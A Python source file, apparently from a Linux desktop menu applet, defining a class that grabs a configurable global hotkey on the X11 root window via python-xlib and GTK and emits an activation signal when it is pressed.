class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.keymap = Gdk.Keymap().get_default() self.display = Display() self.screen = self.display.screen() self.window = self.screen.root self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask) self.map_modifiers() self.raw_keyval = None self.keytext = "" def map_modifiers(self): gdk_modifiers = (Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: if "Mod" not in Gtk.accelerator_name( 0, modifier) or "Mod4" in Gtk.accelerator_name( 0, modifier): self.known_modifiers_mask |= modifier def grab(self, key): accelerator = key accelerator = accelerator.replace("<Super>", "<Mod4>") keyval, modifiers = Gtk.accelerator_parse(accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return False self.keytext = key try: self.keycode = self.keymap.get_entries_for_keyval( keyval).keys[0].keycode except AttributeError: # In older Gtk3 the get_entries_for_keyval() returns an unnamed tuple... self.keycode = self.keymap.get_entries_for_keyval( keyval)[1][0].keycode self.modifiers = int(modifiers) # Request to receive key press/release reports from other windows that may not be using modifiers catch = error.CatchError(error.BadWindow) if self.modifiers: self.window.change_attributes(onerror=catch, event_mask=X.KeyPressMask | X.KeyReleaseMask) else: self.window.change_attributes(onerror=catch, event_mask=X.NoEventMask) if catch.get_error(): return False catch = error.CatchError(error.BadAccess) for ignored_mask in self.ignored_masks: mod = modifiers | ignored_mask result = self.window.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeAsync, onerror=catch) self.display.flush() if catch.get_error(): return False catch = error.CatchError(error.BadCursor) if not self.modifiers: # We grab Super+click so that we can forward it to the window manager and allow Super+click bindings (window move, resize, etc.) self.window.grab_button(X.AnyButton, X.Mod4Mask, True, X.ButtonPressMask, X.GrabModeSync, X.GrabModeAsync, X.NONE, X.NONE) self.display.flush() if catch.get_error(): return False return True def ungrab(self): if self.keycode: self.window.ungrab_key(self.keycode, X.AnyModifier, self.window) def rebind(self, key): self.ungrab() if key != "": self.grab(key) else: self.keytext = "" def set_focus_window(self, window=None): self.ungrab() if window is None: self.window = self.screen.root else: self.window = self.display.create_resource_object( "window", window.get_xid()) self.grab(self.keytext) def get_mask_combinations(self, mask): return [x for x in range(mask + 1) if not (x & ~mask)] def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) # Get which window manager we're currently using (Marco, Compiz, Metacity, etc...) def get_wm(self): name = '' wm_check = self.display.get_atom('_NET_SUPPORTING_WM_CHECK') win_id = self.window.get_full_property(wm_check, X.AnyPropertyType) if win_id: w = self.display.create_resource_object("window", win_id.value[0]) wm_name = self.display.get_atom('_NET_WM_NAME') prop = w.get_full_property(wm_name, X.AnyPropertyType) if prop: name = prop.value return name.lower() def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() if self.modifiers: # Use simpler logic when using traditional combined keybindings modifiers = event.state & self.known_modifiers_mask if event.type == X.KeyPress and event.detail == self.keycode and modifiers == self.modifiers: GLib.idle_add(self.idle) else: try: # KeyPress if event.type == X.KeyPress and event.detail == self.keycode and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True # KeyRelease elif event.type == X.KeyRelease and event.detail == self.keycode and wait_for_release: GLib.idle_add(self.idle) wait_for_release = False # Modifiers are often used with mouse events - don't let the system swallow those elif event.type == X.ButtonPress: self.display.allow_events(X.ReplayPointer, X.CurrentTime) # Compiz would rather not have the event sent to it and just read it from the replayed queue wm = self.get_wm() if wm != "compiz": self.display.ungrab_keyboard(X.CurrentTime) self.display.ungrab_pointer(X.CurrentTime) query_pointer = self.window.query_pointer() self.display.send_event(query_pointer.child, event, X.ButtonPressMask, True) wait_for_release = False # If the user presses another key in between the KeyPress and the KeyRelease, they # meant to use a different shortcut else: self.display.ungrab_keyboard(X.CurrentTime) # Send the event up in case another window is listening to it self.display.send_event( event.window, event, X.KeyPressMask | X.KeyReleaseMask, True) wait_for_release = False except AttributeError: continue def stop(self): self.running = False self.ungrab() self.display.close()